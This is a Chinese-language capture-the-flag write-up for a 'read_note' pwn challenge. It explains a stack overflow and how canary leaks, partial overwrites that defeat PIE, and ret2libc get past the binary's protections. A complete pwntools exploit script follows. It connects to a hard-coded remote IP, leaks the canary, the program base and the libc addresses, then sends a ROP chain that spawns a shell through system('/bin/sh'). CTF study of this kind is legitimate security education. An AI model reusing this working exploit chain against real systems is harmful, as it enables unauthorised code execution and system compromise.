知识点
puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00
Canary最低位为\x00(截断符)
\x 和 0x 的区别:
区别不大,都是把数按16进制输出。
1、0x 表示整型数值 (十六进制)
char c = 0x42; 表示的是一个数值(字母B的ASCII码66),可以认为等价于: int c = 0x42;
2、\x42用于字符表达,或者字符串表达
char c = ‘\x42’; 亦等价于: char c = 0x42;
char* s = “\x41\x42”; //表示字符串:AB
程序编译的时候入口并不是main函数,而是start代码段。事实上,start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。
解题流程
先运行一下看看
一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容,然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍
查看保护机制
发现除了RELRO,其他保护机制全开
此题难点:
第一要读懂题目找出漏洞
第二是要绕过各类保护机制
第三是exp的编写调试。
第一要读懂题目找出漏洞
首先分析程序,重要部分如下所示。一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容;以上均可以忽略,没有任何用处。然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍,此时输入内容的长度变为0x270(624)。可以发现,v4的长度为0x258(600),而输入的长度可以任意控制,因此存在栈溢出。
第二是要绕过各类保护机制
确定了漏洞所在,下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了,下面一个个来说。
1.NX很简单,ROP即可。
2.Canary会很大程度上妨碍栈溢出,但结合本题的环境,输入一次后紧接着一个puts函数将输入内容打印出来,然后还有一次输入的机会,因此可以在第一次输入时,通过覆盖Canary最低位的\x00为其他值(Canary最低位肯定为\x00,而puts()会一直输出直到碰见\x00位置),让puts()泄露出Canary的内容,第二次输入时再将正确的Canary写回去,就可以绕过Canary的保护了。
3.PIE会让程序加载的基地址随机化,但是随机化并不完全,最低三位是不会改变的,可以利用这个特性,通过覆盖最低的两位来有限的修改程序控制流,然后再泄露出程序加载地址。
4.至于ASLR,利用ret2libc的方法,泄露出libc的版本,就可以算出system等函数的地址然后get shell了。
第三是exp的编写调试
通过以上的分析,由于需要泄露三个内容,因此main函数需要执行四次,每次执行都会有两次输入,每次执行的工作分别如下:
第一次执行
需要在填满v4的长度600后,再溢出两个十六进制位(64位计算机一个地址是8个字节),覆盖Canary的最低位,然后将Canary打印出来;再次输入时,将正确的Canary放在原来的位置,然后溢出栈上返回地址的低两位为\x20。为什么是\x20,是因为从ida里可以发现,vul函数最后retn的地址为0xd1f,main函数的起始地址是0xd20,前面的偏移都是相同的,因此可以通过这类方法绕过PIE再跳回main。
如图D2E为main的返回地址
第二次执行
在填满600的基础上,需要再多溢出两个地址位数(64位计算机一个地址是8个字节),也就是616。从栈分布可以看出,v4之后是Canary(0x7fffffffde88处),然后再填充一个地址位,就可以输出main+14的真实地址,也就可以得到程序加载的地址。之后使用跟之前同样的方法,再次回到main函数的起始位置。
第三次执行
要溢出的就是__libc_start_main的真实地址了,作为main函数的返回地址,从上图可以看出,可以从栈上泄露__libc_start_main+240的地址,依次利用LibcSearcher算出libc版本,然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件,但由于第二次输入的长度所限,因此还要再跳回main函数,再次执行程序。
第四次执行
将payload拼接好,然后发给程序了。由于是64位,传参需要rdi。通过ROPgadget搜索程序二进制,发现存在pop rdi;ret;的gadget,将其偏移再加上第二步得到的程序加载基地址,就可以得到gadget的真实地址,至此,payload拼接完成,可以拿到shell了。
exp:
from pwn import *
from LibcSearcher import *
#sh = process('./file/read_note') #本地调试
sh = remote('114.116.54.89',10000)
#context.log_level = 'debug'pop_rdi_ret = 0x0000000000000e03
#-----------------------------------------------------------------------------------------------------------
#第一次
log.info('first time')
sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:') #直到接收到please input the note:为止payload1 = 'a'*600
sh.sendline(payload1) #发送一行数据,相当于在末尾加\n
sh.recvuntil('a'*600) #直到接收到600个a为止
#绕过canary方法一:
canary = u64(sh.recv(8))-0xa
log.info('Canary: '+hex(canary))#绕过canary方法二:
#canary1=u64(b'\x00'+sh.recv(7))#绕过canary方法三:
#canary2 = u64(sh.recv(7).rjust(8,b'\x00'))sh.recvuntil('so please input note(len is 624)') #直到接收到so please input note(len is 624)为止payload1 = b'a'*600 + p64(canary) + p64(1) + b'\x20'
print(payload1)
sh.send(payload1)
#-----------------------------------------------------------------------------------------------------------
#第二次
log.info('second time')
sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:') #直到接收到please input the note:为止payload2 = 'a'*616
sh.send(payload2) #发送payload2里的数据
sh.recvuntil('a'*616) #直到接收到616个a为止
main_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 0xe #D2E为main的返回地址
log.info('main_addr: ' + str(hex(main_addr)))base = main_addr - 0xd20
pop_rdi_ret_addr = base + pop_rdi_ret
log.info('base addr:'+str(hex(base)))payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload2)#-----------------------------------------------------------------------------------------------------------
#第三次
log.info('third time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')elf = ELF('./file/read_note') #ELF模块用于获取ELF文件的信息,通过ELF()获取这个文件的句柄,然后通过这个句柄调用plt函数获取PLT的地址
start_plt = elf.plt['__libc_start_main']
print("start_plt: " + hex(start_plt))payload3 = 'a'*648
sh.send(payload3)
sh.recvuntil('a'*648)
libc_start_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 240
log.info('__libc_start_main:'+str(hex(libc_start_addr)))libc = LibcSearcher('__libc_start_main', libc_start_addr)
log.info('libc: ' + str(libc))
libc_base = libc_start_addr - libc.dump('__libc_start_main')#libc.dump(“xxx”) 可以计算出xxx的偏移地址,再libc_start_addr减去偏移地址就得到了libc_base的基址
log.info('libc_base: ' + str(libc_base))
system_addr = libc_base + libc.dump('system')#通过基址加system的偏移,得到system的实际地址
log.info('system_addr' + str(system_addr))
binsh_addr = libc_base + libc.dump('str_bin_sh')#通过基址加/bin/sh字符串的偏移,得到/bin/sh的实际地址
log.info('binsh_addr: ' + str(binsh_addr))payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload3)#-----------------------------------------------------------------------------------------------------------
#最后一次
log.info('fourth time')
sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.send(payload4)
sh.recvuntil('so please input note(len is 624)')
sh.send(payload4)
sh.interactive()
运行结果
由于本题有bug,建立连接后直接输入flag,出现flag